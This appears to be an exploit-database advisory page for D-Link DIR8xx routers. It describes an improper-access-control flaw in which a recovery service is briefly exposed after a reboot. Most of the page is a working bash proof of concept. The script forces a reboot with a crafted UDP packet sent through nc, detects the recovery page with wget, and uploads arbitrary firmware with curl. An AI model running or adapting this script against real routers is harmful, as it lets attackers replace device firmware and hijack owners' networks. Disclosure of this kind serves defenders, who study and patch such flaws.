Upload Custom Firmware to a Device

vendor:

DIR8xx Routers

by:

embedi

8,8

CVSS

HIGH

Improper Access Control

284

CWE

Product Name: DIR8xx Routers

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2020

Upload Custom Firmware to a Device

This exploit allows an attacker to upload custom firmware to a device by accessing an ethernet port. This is possible because the system recovery service is started and available for a few seconds after restart. The attacker can use a wget command to check if the system is vulnerable and then use a curl command to upload the custom firmware.

Mitigation:

Restrict access to the ethernet port and ensure that the system recovery service is not available after restart.

Source

Exploit-DB raw data:

#!/bin/bash

# If you have access to an ethernet port you can upload custom firmware to a device because system recovery service is started and available for a few seconds after restart.
# E-DB Note: https://embedi.com/blog/enlarge-your-botnet-top-d-link-routers-dir8xx-d-link-routers-cruisin-bruisin
# E-DB Note: https://github.com/embedi/DIR8xx_PoC/blob/b0609957692f71da48fd7de28be0516b589187c3/update.sh

FIRMWARE="firmware.bin"
IP="192.168.0.1"
while true; do
	T=$(($RANDOM + ($RANDOM % 2) * 32768))
	STATUS=`wget -t 1 --no-cache -T 0.2 -O - http://$IP/?_=$T 2>/dev/null`
	if [[ $STATUS == *"<title>Provided by D-Link</title>"* ]]; then
		echo "Uploading..."
		curl -F "data=@$FIRMWARE" --connect-timeout 99999 -m 99999 --output /dev/null http://$IP/f2.htm
		break
	elif [[ $STATUS == *"<title>D-LINK</title>"* ]]; then
		echo "Rebooting..."
		echo -n -e '\x00\x01\x00\x01EXEC REBOOT SYSTEMaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa' | timeout 1s nc -u $IP 19541
	fi
done